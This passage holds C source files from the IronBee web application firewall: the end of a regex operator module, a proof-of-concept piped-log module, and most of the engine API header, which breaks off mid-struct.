IB_OP_CAPABILITY_CAPTURE, dfa_operator_create, NULL, NULL, NULL, dfa_stream_operator_execute, m ); if (rc != IB_OK) { return rc; } /* Regexp based selection. */ rc = ib_transformation_create_and_register( NULL, ib, "filterValueRx", true, filter_rx_create, m, NULL, NULL, filter_rx_execute, (void *)c_filter_rx_value ); if (rc != IB_OK) { return rc; } rc = ib_transformation_create_and_register( NULL, ib, "filterNameRx", true, filter_rx_create, m, NULL, NULL, filter_rx_execute, (void *)c_filter_rx_name ); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Module structure. * * This structure defines some metadata, config data and various functions. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ IB_MODULE_CONFIG(&modpcre_global_cfg),/**< Global config data */ config_map, /**< Configuration field map */ directive_map, /**< Config directive map */ modpcre_init, /**< Initialize function */ NULL, /**< Callback data */ NULL, /**< Finish function */ NULL, /**< Callback data */ );
crustymonkey/ironbee
modules/log_pipe.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Pipe module. * * This is a proof-of-concept for implementing an ironbee logger as module. * Tested at its simplest by just piping to cat. * * It mostly seems to work well, with a couple of limitations: * - Another logger will get all configuration messages arising * before the PipedLog directive activates our logger * - Other than at startup, we have no access to a pool we can * use without leaking. This is a problem of the log API in * general. * - Certain errors can't be handled by just logging an error * (that way recursive madness lies). * * As regards operational use, this module has more serious issues. * If the piped program disappears, we restart it with a small * memory leak. Robustness in adverse conditions (such as a * piped program that can't consume data at the rate we send) * is completely untested: it might in principle get into a * nasty loop of write-fail / restart piped program. * Not a problem so long as this remains a proof-of-concept. */ #include <ironbee/context.h> #ifndef NO_THREADS #include <ironbee/lock.h> #endif #include <ironbee/module.h> #include <assert.h> #include <stdio.h> #include <stdlib.h> #include <time.h> /** Module name. */ #define MODULE_NAME log_pipe /** Stringified version of MODULE_NAME */ #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) IB_MODULE_DECLARE(); typedef struct log_pipe_cfg { const char *cmdline; ib_logger_level_t log_level; FILE *pipe; } log_pipe_cfg; /* If we're compiling solely for a non-threaded server (like nginx or * apache+prefork) we can save a tiny bit of overhead. */ #ifndef NO_THREADS #define MUTEX_LOCK ib_lock_lock(&log_pipe_mutex) #define MUTEX_UNLOCK ib_lock_unlock(&log_pipe_mutex) static ib_lock_t log_pipe_mutex; static void log_pipe_mutex_init(ib_engine_t *ib, log_pipe_cfg *cfg) { ib_mm_t mm = ib_engine_mm_main_get(ib); if (ib_lock_init(&log_pipe_mutex) == IB_OK) ib_mm_register_cleanup(mm, (void *)ib_lock_destroy, &log_pipe_mutex); } #else #define MUTEX_LOCK #define MUTEX_UNLOCK #define log_pipe_mutex_init(ib,cfg) #endif static ib_status_t log_pipe_open(ib_engine_t *ib, log_pipe_cfg *cfg); /** * Handles write errors by stopping and restarting the piped logger * * @param[in] ib Ironbee engine * @param[in] m module struct * @param[in] timestr timestamp * @param[in] cfg the configuration record * @return status from log_pipe_open */ static ib_status_t log_pipe_restart(const ib_engine_t *ib, ib_module_t *m, const char *timestr, log_pipe_cfg *cfg) { ib_status_t rc; /* Try and log an emergency error to stderr */ fputs("IRONBEE: Piped Log Error. Trying to restart!\n", stderr); pclose(cfg->pipe); cfg->pipe = NULL; if (rc = log_pipe_open((ib_engine_t *)ib, cfg), rc == IB_OK) { /* OK, we should be back up&logging ... */ fprintf(cfg->pipe, "%s: %s\n", timestr, "LOG ERROR. Piped log restarted!"); } else { /* Nothing sensible we can do. */ /* FIXME: should we consider this a fatal error? * A library can't just go and exit, nor can we throw() */ } return rc; } typedef struct log_pipe_log_rec_t { ib_logger_level_t level; char *file; int line; char timestr[26]; char buf[8192+1]; int ec; } log_pipe_log_rec_t; ib_status_t log_pipe_format( ib_logger_t *logger, const ib_logger_rec_t *rec, const uint8_t *log_msg, const size_t log_msg_sz, void *writer_record, void *data ) { /* Just duplicate what's in all the server loggers */ ib_module_t *m; log_pipe_cfg *cfg; time_t tm; ib_status_t rc; ib_engine_t *ib = (ib_engine_t *)data; log_pipe_log_rec_t *log_pipe_log_rec = malloc(sizeof(*log_pipe_log_rec)); if (log_pipe_log_rec == NULL) { return IB_EALLOC; } rc = ib_engine_module_get((ib_engine_t *)ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL) && (cfg->pipe != NULL)); if (rec->level > cfg->log_level) { free(log_pipe_log_rec); return IB_DECLINED; } log_pipe_log_rec->level = rec->level; log_pipe_log_rec->line = rec->line_number; log_pipe_log_rec->file = strdup(rec->file); if (log_pipe_log_rec->file == NULL) { free(log_pipe_log_rec); return IB_EALLOC; } /* TODO: configurable time format */ time(&tm); ctime_r(&tm, log_pipe_log_rec->timestr); log_pipe_log_rec->timestr[24] = 0; /* we don't want the newline */ /* Buffer the log line. */ log_pipe_log_rec->ec = snprintf( log_pipe_log_rec->buf, 8192+1, "%.*s", (int)log_msg_sz, log_msg); *(log_pipe_log_rec_t **)writer_record = log_pipe_log_rec; return IB_OK; } /** * Callback data for log_pipe_writer(). */ typedef struct log_pipe_writer_data_t { log_pipe_cfg *cfg; /**< Configuration. */ ib_module_t *module; /**< This module structure. */ ib_engine_t *ib; /**< IronBee engine. */ } log_pipe_writer_data_t; /** * Free messages created by log_pipe_format. * * @param[in] logger The logger. * @param[in] msg The message to free. * @param[in] cbdata Callback data. Unused. */ static void log_pipe_free(ib_logger_t *logger, void *msg, void *cbdata) { assert(logger != NULL); assert(msg != NULL); log_pipe_log_rec_t *rec = (log_pipe_log_rec_t *)msg; free(rec->file); free(rec); } /** * Do the writing of a single record. * * @param[in] record The log record. * @param[in] cbdata A @ref log_pipe_writer_data_t pointer used for writing. */ static void log_pipe_writer(void *record, void *cbdata) { assert(record != NULL); assert(cbdata != NULL); const int LIMIT = 7000; log_pipe_writer_data_t *writer_data = (log_pipe_writer_data_t *)cbdata; log_pipe_log_rec_t *rec = (log_pipe_log_rec_t *)record; log_pipe_cfg *cfg = writer_data->cfg; ib_module_t *m = writer_data->module; ib_engine_t *ib = writer_data->ib; MUTEX_LOCK; if (rec->ec >= LIMIT) { /* Mark as truncated, with a " ...". */ memcpy((rec->buf) + (LIMIT - 5), " ...", 5); /// @todo Do something about it if ( fprintf( cfg->pipe, "%s: Log format truncated: limit (%d/%d)\n", rec->timestr, (int)rec->ec, LIMIT) < 0 ) { if (log_pipe_restart(ib, m, rec->timestr, cfg) == IB_OK) { fprintf( cfg->pipe, "%s: Log format truncated: limit (%d/%d)\n", rec->timestr, (int)rec->ec, LIMIT); } } } if ( fprintf( cfg->pipe, "%s %s [%s:%d]: %s\n", rec->timestr, ib_logger_level_to_string(rec->level), rec->file, rec->line, rec->buf) < 0 ) { /* On error, see if we can save anything. * There's no sensible error handling at this point. */ if (log_pipe_restart(ib, m, rec->timestr, cfg) == IB_OK) { fprintf( cfg->pipe, "%s %s [%s:%d]: %s\n", rec->timestr, ib_logger_level_to_string(rec->level), rec->file, rec->line, rec->buf); } } MUTEX_UNLOCK; } ib_status_t log_pipe_record( ib_logger_t *logger, ib_logger_writer_t *writer, void *data ) { assert(logger != NULL); assert(writer != NULL); assert(data != NULL); ib_status_t rc; log_pipe_writer_data_t writer_data; log_pipe_cfg *cfg; ib_module_t *m; ib_engine_t *ib = (ib_engine_t *)data; rc = ib_engine_module_get((ib_engine_t *)ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL) && (cfg->pipe != NULL)); writer_data.ib = ib; writer_data.cfg = cfg; writer_data.module = m; rc = ib_logger_dequeue(logger, writer, log_pipe_writer, &writer_data); return rc; } /** * Ironbee callback to get current log level * * @param[in] ib Ironbee engine * @return The current log level */ static ib_logger_level_t log_pipe_get_level(const ib_engine_t *ib) { log_pipe_cfg *cfg; ib_module_t *m; ib_context_t *ctx; ib_status_t rc; rc = ib_engine_module_get((ib_engine_t *)ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); /* This may get called after ctx has been invalidated, because * cleanup happens in a perverse order. */ ctx = ib_context_main(ib); if (ctx == NULL) { return 4; } rc = ib_context_module_config(ib_context_main(ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); return cfg->log_level; } /** * Function to close a pipe (registered as pool cleanup) * * @param[in] data config struct */ static void log_pipe_close(void *data) { log_pipe_cfg *cfg = data; assert(cfg != NULL); if (cfg->pipe != NULL) { if (pclose(cfg->pipe) == -1) { /* Just hope some logger is functioning! */ //ib_log_error(ib, "Failed to retrieve piped log config!"); } cfg->pipe = NULL; } } /** * Function to open a pipe named in the config * * @param[in] ib Ironbee engine * @param[in] cfg config struct * @return success or failure */ static ib_status_t log_pipe_open(ib_engine_t *ib, log_pipe_cfg *cfg) { ib_mm_t mm; ib_logger_format_t *format; ib_logger_t *logger; ib_status_t rc; assert(ib != NULL); assert(cfg != NULL); if (cfg->cmdline == NULL) { ib_log_notice(ib, "Piped log not configured"); return IB_OK; } mm = ib_engine_mm_main_get(ib); logger = ib_engine_logger_get(ib); cfg->pipe = popen(cfg->cmdline, "w"); if (cfg->pipe == NULL) { /* This will get to the default logger - hopefully! */ ib_log_critical(ib, "Failed to open pipe to %s!", cfg->cmdline); return IB_EOTHER; } ib_mm_register_cleanup(mm, log_pipe_close, cfg); rc = ib_logger_format_create( logger, &format, log_pipe_format, ib, log_pipe_free, NULL); if (rc != IB_OK) { return rc; } /* Now our pipe is up-and-running, register our own logger */ ib_logger_writer_clear(logger); ib_logger_writer_add( logger, NULL, /* Open */ NULL, NULL, /* Close */ NULL, NULL, /* Reopen */ NULL, format, log_pipe_record, ib ); ib_logger_level_set(logger, log_pipe_get_level(ib)); return IB_OK; } /** * Configuration function to read pipe's command line and open the pipe * * @param[in] cp Config parser * @param[in] name unused * @param[in] p1 The configured command to execute * @param[in] dummy unused */ static ib_status_t log_pipe_program(ib_cfgparser_t *cp, const char *name, const char *p1, void *dummy) { log_pipe_cfg *cfg; ib_module_t *m; ib_status_t rc; assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(p1 != NULL); rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(cp->ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); cfg->cmdline = p1; log_pipe_mutex_init(cp->ib, cfg); return log_pipe_open(cp->ib, cfg); } /** * Configuration function to set log level * @param[in] cp Config parser * @param[in] name unused * @param[in] p1 Log level to set * @param[in] dummy unused */ static ib_status_t log_pipe_set_level(ib_cfgparser_t *cp, const char *name, const char *p1, void *dummy) { log_pipe_cfg *cfg; ib_module_t *m; ib_status_t rc; assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(p1 != NULL); rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(cp->ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); cfg->log_level = ib_logger_string_to_level(p1, IB_LOG_WARNING); return IB_OK; } static IB_DIRMAP_INIT_STRUCTURE(log_pipe_config) = { IB_DIRMAP_INIT_PARAM1( "PipedLog", log_pipe_program, NULL ), IB_DIRMAP_INIT_PARAM1( "PipedLogLevel", log_pipe_set_level, NULL ), /* End */ IB_DIRMAP_INIT_LAST }; static log_pipe_cfg log_pipe_cfg_ini = { NULL, 4, NULL }; IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ IB_MODULE_CONFIG(&log_pipe_cfg_ini), /**< Global config data */ NULL, /**< Configuration field map */ log_pipe_config, /**< Config directive map */ NULL, NULL, /**< Initialize function */ NULL, NULL, /**< Finish function */ );
crustymonkey/ironbee
include/ironbee/engine.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_ENGINE_H_ #define _IB_ENGINE_H_ /** * @file * @brief IronBee --- Engine * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include <ironbee/build.h> #include <ironbee/cfgmap.h> #include <ironbee/clock.h> #include <ironbee/engine_types.h> #include <ironbee/field.h> #include <ironbee/hash.h> #include <ironbee/logger.h> #include <ironbee/parsed_content.h> #include <ironbee/server.h> #include <ironbee/stream.h> #include <ironbee/strval.h> #include <ironbee/uuid.h> #include <stdarg.h> #include <stdbool.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeEngine IronBee Engine * @ingroup IronBee * * This is the API for the IronBee engine. * * @{ */ /// @todo Maybe a ib_create_ex() that takes a config? /** * Initialize IronBee (before engine creation) * * @returns Status code * - IB_OK * - Errors returned by ib_util_initialize() */ ib_status_t DLL_PUBLIC ib_initialize(void); /** * Shutdown IronBee (After engine destruction) * * @returns Status code * - IB_OK * - Errors returned by ib_util_shutdown() */ ib_status_t DLL_PUBLIC ib_shutdown(void); /** * IronBee engine version string. * * @returns The IronBee version string for the loaded library. */ const char DLL_PUBLIC *ib_engine_version(void); /** * IronBee engine product name. * * @returns The IronBee product and version name for the loaded library. */ const char DLL_PUBLIC *ib_engine_product_name(void); /** * IronBee engine version number. * * @returns The IronBee version number for the loaded library. */ uint32_t DLL_PUBLIC ib_engine_version_number(void); /** * IronBee engine ABI number. * * @returns The IronBee ABI number for the loaded library. */ uint32_t DLL_PUBLIC ib_engine_abi_number(void); /** * Create an engine handle. * * After creating the engine, the caller must configure defaults, such as * initial logging parameters. * * @param pib Address which new handle is written * @param server Information on the server instantiating the engine * * @returns Status code */ ib_status_t DLL_PUBLIC ib_engine_create(ib_engine_t **pib, const ib_server_t *server); /** * Return the server object for an engine. * * @param[in] ib Engine to fetch server for. * @returns Server. **/ const ib_server_t DLL_PUBLIC *ib_engine_server_get(const ib_engine_t *ib); /** * Return the logger object constructed for this engine. * * Use the returned object to add writers or change the log level. * * This will never return NULL as ib_engine_create() would have failed * with an IB_EALLOC. * * @returns Pointer to the logger structure for @a ib. */ ib_logger_t DLL_PUBLIC *ib_engine_logger_get(const ib_engine_t *ib); /** * Get the engine's instance UUID * * @param ib Engine handle * * @returns Pointer to engine's instance UUID */ const char DLL_PUBLIC *ib_engine_instance_id(const ib_engine_t *ib); /** * Inform the engine that the configuration phase is starting * * @param[in] ib Engine handle * @param[in] cp The configuration parser * * @returns Status code */ ib_status_t DLL_PUBLIC ib_engine_config_started(ib_engine_t *ib, ib_cfgparser_t *cp); /** * Inform the engine that the configuration phase is complete * * @param[in] ib Engine handle * * @returns Status code: * - IB_OK - All OK * - Status from ib_context_close() (including the context close functions) */ ib_status_t DLL_PUBLIC ib_engine_config_finished(ib_engine_t *ib); /** * Get the configuration parser * * @param[in] ib Engine handle * @param[out] pparser Pointer to the configuration parser. * * @returns IB_OK */ ib_status_t ib_engine_cfgparser_get(const ib_engine_t *ib, const ib_cfgparser_t **pparser); /** * Create a main context to operate in. * * @param[in] ib IronBee engine that contains the ectx that we will use * in creating the main context. The main context * will be assigned to ib->ctx if it is successfully created. * * @returns IB_OK or the result of * ib_context_create(ctx, ib, ib->ectx, NULL, NULL, NULL). */ ib_status_t ib_engine_context_create_main(ib_engine_t *ib); /** * Get a module by name. * * @param ib Engine handle * @param name Module name * @param pm Address which module will be written * * @returns * - IB_OK On success. * - IB_ENOENT If the named module is not found. */ ib_status_t DLL_PUBLIC ib_engine_module_get(const ib_engine_t *ib, const char * name, ib_module_t **pm); /** * Get the main engine memory pool as memory manager. * * @param ib Engine handle * * @returns Memory manager */ ib_mm_t DLL_PUBLIC ib_engine_mm_main_get(const ib_engine_t *ib); /** * Get the engine configuration memory pool as memory manager. * * @param ib Engine handle * * @returns Memory manager */ ib_mm_t DLL_PUBLIC ib_engine_mm_config_get(const ib_engine_t *ib); /** * Get the temp engine memory pool as memory manager. * * The underlying pool should be destroyed by the server after the * configuration phase. Therefore is should not be used for * anything except temporary allocations which are required * for performing configuration. * * @param ib Engine handle * * @returns Memory manager */ ib_mm_t DLL_PUBLIC ib_engine_mm_temp_get(const ib_engine_t *ib); /** * Destroy the engine temporary memory pool. * * This should be called by the server after configuration is * completed. After this call, any allocations in the temporary * pool will be invalid and no future allocations can be made to * to this pool. * * @param ib Engine handle */ void DLL_PUBLIC ib_engine_pool_temp_destroy(ib_engine_t *ib); /** * Destroy a memory pool. * * This destroys the memory pool @a mp. If IB_DEBUG_MEMORY is defined, * it will validate and analyze the pool before destruction. * * Will do nothing if @a mp is NULL. * * @param[in] ib IronBee engine. * @param[in] mp Memory pool to destroy. */ void DLL_PUBLIC ib_engine_pool_destroy(ib_engine_t *ib, ib_mpool_t *mp); /** * Get var configuration of engine. * * @param[in] ib IronBee engine. * @return Var configuration. **/ ib_var_config_t DLL_PUBLIC *ib_engine_var_config_get( ib_engine_t *ib ); /** * Get var configuration of engine (const version). * * @param[in] ib IronBee engine. * @return var configuration. **/ const ib_var_config_t DLL_PUBLIC *ib_engine_var_config_get_const( const ib_engine_t *ib ); /** * Destroy an engine. * * @param ib Engine handle */ void DLL_PUBLIC ib_engine_destroy(ib_engine_t *ib); /** * Merge the base_uuid with conn data and generate the conn id string. * * This function is normally executed by ib_conn_create(), but if the conn is * being created in other ways (e.g. in the tests), use this to generate the * CONN's ID. * * @param[in,out] conn Connection to populate * * @returns Status code */ ib_status_t DLL_PUBLIC ib_conn_generate_id(ib_conn_t *conn); /** * Create a connection structure. * * @param ib Engine handle * @param pconn Address which new connection is written * @param server_ctx Server connection context * * @returns Status code */ ib_status_t DLL_PUBLIC ib_conn_create(ib_engine_t *ib, ib_conn_t **pconn, void *server_ctx); /** * Get per-module per-connection data. * * @param[in] conn Connection * @param[in] module Module. * @param[out] data Data. Can be any handle, i.e., `T **`. * @returns * - IB_OK on success. * - IB_ENOENT if @a conn does not know about @a module. */ ib_status_t DLL_PUBLIC ib_conn_get_module_data( const ib_conn_t *conn, const ib_module_t *module, void *data ); /** * Set per-module per-connection data. * * @param[in] conn Connection * @param[in] module Module. * @param[in] data Data. Set to NULL to unset. * @returns Status code. */ ib_status_t DLL_PUBLIC ib_conn_set_module_data( ib_conn_t *conn, const ib_module_t *module, void *data ); /** * Set @a flags in the @a tx and the corresponding var value. * * @param[in] tx The transaction to set the flags in. * @param[in] flags The set of flags to set. * * @returns * - IB_OK On success. * - Other on var errors. */ ib_status_t DLL_PUBLIC ib_tx_flags_set(ib_tx_t *tx, ib_flags_t flags); /** * Unset @a flags in the @a tx and the corresponding var value. * * @param[in] tx The transaction to set the flags in. * @param[in] flags The set of flags to set. * * @returns * - IB_OK On success. * - Other on var errors. */ ib_status_t DLL_PUBLIC ib_tx_flags_unset(ib_tx_t *tx, ib_flags_t flags); /** * Get the string value for a specific TX flag * * @note If more than one flag is set, the string matching the first * one will be returned. * * @param[in] flags The flags to lookup * * @returns * "None" if no flags are set * String representation of first set flag */ const char DLL_PUBLIC *ib_tx_flags_name(ib_flags_t flags); /** * Get the first TX flag strval * * @returns Pointer to the first flag strval */ const ib_strval_t DLL_PUBLIC *ib_tx_flags_strval_first(); /** * Destroy a connection structure. * * @param conn Connection structure */ void DLL_PUBLIC ib_conn_destroy(ib_conn_t *conn); /** * Merge the base_uuid with tx data and generate the tx id string. * * This function is normally executed by ib_tx_create(), but if the tx is * being created in other ways (e.g. in the tests), use this to generate the * TX's ID. * * @param[in,out] tx Transaction to populate * * @returns Status code */ ib_status_t DLL_PUBLIC ib_tx_generate_id(ib_tx_t *tx); /** * Create a transaction structure. * * @param ptx Address which new transaction is written * @param conn Connection structure * @param sctx Server transaction context * * @returns Status code */ ib_status_t DLL_PUBLIC ib_tx_create(ib_tx_t **ptx, ib_conn_t *conn, void *sctx); /** * Get per-module per-transaction data. * * @param[in] tx Transaction. * @param[in] module Module. * @param[out] data Data. Can be any handle, i.e., `T **`. * @returns * - IB_OK on success. * - IB_ENOENT if @a tx does not know about @a module. */ ib_status_t DLL_PUBLIC ib_tx_get_module_data( const ib_tx_t *tx, const ib_module_t *module, void *data ); /** * Set per-module per-transaction data. * * @param[in] tx Transaction. * @param[in] module Module. * @param[in] data Data. Set to NULL to unset. * @returns Status code. */ ib_status_t DLL_PUBLIC ib_tx_set_module_data( ib_tx_t *tx, const ib_module_t *module, void *data ); /** * Set server error status code. * * @param[in] tx The transaction. * @param[in] status The status code. * * @returns * - IB_OK On success. * - IB_ENOTIMPL If not implemented by the server plugin. */ ib_status_t DLL_PUBLIC ib_tx_server_error( ib_tx_t *tx, int status ); /** * Set server error header. * * @param[in] tx The transaction. * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * * @returns * - IB_OK On success. * - IB_ENOTIMPL If not implemented by the server plugin. */ ib_status_t DLL_PUBLIC ib_tx_server_error_header( ib_tx_t *tx, const char *name, size_t name_length, const char *value, size_t value_length ); /** * Set server error data. * * @param[in] tx The transaction. * @param[in] data The data to set. * @param[in] dlen The length of the data to send. * * @returns * - IB_OK On success. * - IB_ENOTIMPL If not implemented by the server plugin. */ ib_status_t DLL_PUBLIC ib_tx_server_error_data( ib_tx_t *tx, const char *data, size_t dlen ); /** * Set a header to be either requested or responded to in the server. * * @param[in] tx The transaction. * @param[in] dir Direction. This indicates if this is for the request or * the response of the HTTP transaction. * @param[in] action How to add this header. Add, delete, set, etc. * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * * @returns * - IB_OK On success. * - IB_ENOTIMPL If not implemented by the server plugin. */ ib_status_t DLL_PUBLIC ib_tx_server_header( ib_tx_t *tx, ib_server_direction_t dir, ib_server_header_action_t action, const char *name, size_t name_length, const char *value, size_t value_length ); /** * Destroy a transaction structure. * * The transaction @a tx MUST be the first transaction in the parent * connection's (tx->conn) transaction list. This function also removes * @a tx from the parent connection's list, and updates the connection's * first (tx_first) and last (tx_last) transaction pointers. * * @param tx Transaction structure */ void DLL_PUBLIC ib_tx_destroy(ib_tx_t *tx); /** * @} IronBeeEngineEvent */ /** * @defgroup IronBeeBlock Blocking * @ingroup IronBeeEngine * @{ */ /** * Block transaction. * * This function works as follow: * * 1. If {{ib_tx_block()}} has already been called on this transaction, * return IB_OK. Record that {{ib_tx_block()}} has been called on this * transaction. * 2. Call all pre-block hooks. See ib_register_block_pre_hook(). * 3. If a block handler is registered, call it to get the blocking info. * If it returns IB_DECLINED, return IB_DECLINED. See * ib_block_register_handler() and @ref ib_block_info_t. * 4. If no block handler is registered, call a default block handler to * get the blocking info. * 5. If blocking is not enabled, the function returns IB_DECLINED. See * ib_tx_is_blocking_enabled(), ib_tx_enable_blocking(), and * ib_tx_disable_blocking(). * 6. Communicate the blocking info to the server and mark the transaction as * blocked (see ib_tx_is_blocked()). * 7. Call all post-block hooks. * * @note Hooks and the handler are called at most once. Per-block hooks are * called the first time {{ib_tx_block()}} is called on a transaction. If * blocking is enabled, then the handler is called. If the handler succeeds, * then post-block hooks are called. * * @note Pre-block hooks are allowed to enable or disable blocking. * * @note The default block handler returns a 403 status code. * * @note The default state of whether blocking is enabled is set by the core * module based on the protection engine configuration. Blocking enabled is * determined by the presence of IB_TX_FBLOCKING_MODE being set in the * tx flags. * * @return * - IB_OK on success (including if @a tx already blocked). * - IB_DECLINED if blocking is disabled or block handler returns IB_DECLINED. * - IB_ENOTIMPL if the server does not support the desired blocking method. * - Other if server, handler, or callback reports error. **/ ib_status_t DLL_PUBLIC ib_tx_block(ib_tx_t *tx); /** * Enable blocking for transaction @a tx. * * Equivalent to setting the IB_TX_FBLOCKING_MODE tx flag. * * @param[in] tx Transaction to enable blocking on. **/ void DLL_PUBLIC ib_tx_enable_blocking(ib_tx_t *tx); /** * Disable blocking for transaction @a tx. * * Equivalent to unsetting the IB_TX_FBLOCKING_MODE tx flag. * * @param[in] tx Transaction to enable blocking on. **/ void DLL_PUBLIC ib_tx_disable_blocking(ib_tx_t *tx); /** * Is blocking enabled for transaction @a tx. * * Equivalent to checking the IB_TX_FBLOCKING_MODE tx flag. * * @param[in] tx Transaction to check. * @return true iff blocking is enabled for transaction. **/ bool DLL_PUBLIC ib_tx_is_blocking_enabled(const ib_tx_t *tx); /** * Check if transaction is blocked. * * A transaction is blocked, if ib_tx_block() was called on it. * * @param[in] tx Transaction to check. * @return True iff @a tx is blocked. **/ bool DLL_PUBLIC ib_tx_is_blocked(const ib_tx_t *tx); /** * Fetch block information. * * If ib_tx_is_blocked() is false, return is undefined. * * @param[in] tx Transaction to check. * @return Block info for transaction. **/ ib_block_info_t ib_tx_block_info(const ib_tx_t* tx); /** * Transaction block handler. * * A block handler determines how to block a transaction. It is allowed to * decline to block, but this feature should be used cautiously. It is * preferable to allow other code, such as a block pre-hooks to determine * whether to block. * * @param[in] tx Transaction to block. * @param[out] info Block information to communicate to server. * @param[in] cbdata Callback data. * @return * - IB_DECLINED if decline to block. * - IB_OK on success. * - Other on error. **/ typedef ib_status_t (*ib_block_handler_fn_t)( ib_tx_t *tx, ib_block_info_t *info, void *cbdata ); /** * Transaction block pre-hook. * * Block pre-hooks are called on the first block request They are allowed to * call ib_tx_enable_blocking() and ib_tx_disable_blocking(). Note, however, * that if a transaction has already been blocked (see ib_tx_is_blocked()), * then any enabling/disabling of blocking will have no effect. In many * cases, it is advisable to have your pre-hook check if the transaction was * already blocked before doing anything else. * * @param[in] tx Transaction. * @param[in] cbdata Callback data. * @return * - IB_OK on success. * - Other on error. **/ typedef ib_status_t (*ib_block_pre_hook_fn_t)( ib_tx_t *tx, void *cbdata ); /** * Transaction block post-hook. * * Block pre-hooks are called at most once per transaction: immediately after * the block handler is called. * * @param[in] tx Transaction. * @param[in] info How the transaction was blocked. * @param[in] cbdata Callback data. * @return * - IB_OK on success. * - Other on error. **/ typedef ib_status_t (*ib_block_post_hook_fn_t)( ib_tx_t *tx, const ib_block_info_t *info, void *cbdata ); /** * Register a transaction block handler. * * There can be only one transaction block handler. * * @param[in] ib Engine to register with. * @param[in] name Name of handler for use in logging. * @param[in] handler Handler to register. * @param[in] cbdata Callback data. * @return * - IB_OK on success. * - IB_EINVAL if already a handler registered. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_register_block_handler( ib_engine_t *ib, const char *name, ib_block_handler_fn_t handler, void *cbdata ); /** * Register a transaction pre-block callback. * * @param[in] ib Engine to register with. * @param[in] name Name of hook for use in logging. * @param[in] pre_hook hook to register. * @param[in] cbdata Callback data. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_register_block_pre_hook( ib_engine_t *ib, const char *name, ib_block_pre_hook_fn_t pre_hook, void *cbdata ); /** * Register a transaction pre-block callback. * * @param[in] ib Engine to register with. * @param[in] name Name of hook for use in logging. * @param[in] post_hook hook to register. * @param[in] cbdata Callback data. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_register_block_post_hook( ib_engine_t *ib, const char *name, ib_block_post_hook_fn_t post_hook, void *cbdata ); /** * @} IronBeeBlock **/ /** * @defgroup IronBeeFilter Filter * @ingroup IronBeeEngine * @{ */ #define IB_FILTER_FNONE 0 /**< No filter flags were set */ #define IB_FILTER_FMDATA (1<<0) /**< Filter modified the data */ #define IB_FILTER_FMDLEN (1<<1) /**< Filter modified data length */ #define IB_FILTER_FINPLACE (1<<2) /**< Filter action was in-place */ #define IB_FILTER_ONONE 0 /**< No filter options set */ #define IB_FILTER_OMDATA (1<<0) /**< Filter may modify data */ #define IB_FILTER_OMDLEN (1<<1) /**< Filter may modify data length */ #define IB_FILTER_OBUF (1<<2) /**< Filter may buffer data */ /** * Filter Function. * * This function is called with data that can be analyzed and then optionally * modified. Various flags can be set via pflags. * * @param f Filter * @param fdata Filter data * @param ctx Config context * @param mm Manager to use, should allocation be required * @param pflags Address to write filter processing flags * * @returns Status code */ typedef ib_status_t (*ib_filter_fn_t)(ib_filter_t *f, ib_fdata_t *fdata, ib_context_t *ctx, ib_mm_t mm, ib_flags_t *pflags); /** IronBee Filter */ struct ib_filter_t { ib_engine_t *ib; /**< Engine */ const char *name; /**< Filter name */ ib_filter_type_t type; /**< Filter type */ ib_flags_t options; /**< Filter options */ size_t idx; /**< Filter index */ ib_filter_fn_t fn_filter; /**< Filter function */ void *cbdata; /**< Filter callback data */ }; /** IronBee Filter Data */ struct ib_fdata_t { union { void *ptr; /**< Generic pointer for set op */ ib_conn_t *conn; /**< Connection (conn filters) */ ib_tx_t *tx; /**< 